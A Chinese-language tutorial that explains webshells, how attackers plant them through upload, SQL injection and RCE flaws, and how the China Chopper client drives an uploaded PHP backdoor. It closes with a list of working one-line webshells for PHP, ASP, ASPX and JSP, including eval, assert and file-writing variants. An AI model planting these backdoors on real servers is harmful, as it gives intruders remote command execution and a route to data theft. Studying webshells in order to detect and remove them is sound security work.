一,什么是WebShell?
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
Webshell就是以asp
、php
、jsp
或者cgi
等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
利用Webshell可以在Web服务器上执行系统命令、窃取数据、植入病毒、Le索核心数据、SEO挂马等恶意操作,危害极大。
黑客在入侵了一个网站后,通常会将asp或php后门文件与网站目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
二,原理
利用文件上传漏洞、SQL注入漏洞、RCE漏洞等,将恶意文件放到web服务器中,也就是常说的”后门”,之后可以进行文件管理、数据库管理、远程命令执行、提权等恶意操作。
三、使用
1.中国菜刀支持的服务端脚本:PHP、ASP、ASPX;
2.主要功能有:文件管理(有足够的权限时候可以管理整个磁盘/文件系统),数据库管理,虚拟终端。
3.菜刀的工作原理是:利用上传到服务器的一句话脚本再通过一些添加配置就可以工作了。
在此以php的脚本为例演示菜刀的操作,其他的脚本语言类似~
(1)上传php的一句话小马到目标服务器<?php eval($_POST['abc']); ?>
(2)打开菜刀这个软件,进入如下界面,右键点击“添加”;此时会弹出一个添加shell的对话框,由图一看出我的 “.php”上传在站点根目录,所以这里的地址填为:http://localhost/yjh.php
。地址后面的小框框里面的abc
就是你的“口令”,也就是<?php eval($_POST['abc']); ?>
这里的abc
。下面配置项如果你知道用户名密码就填,不知道,不填,也不会影响文件管理和虚拟终端这两个功能,只是不能查看数据库了。
四,常见的一句话木马
<?php @eval($_POST[value]); ?>
<?php assert($_POST[value]);?>
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
<%eval request ("value")%>
<%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>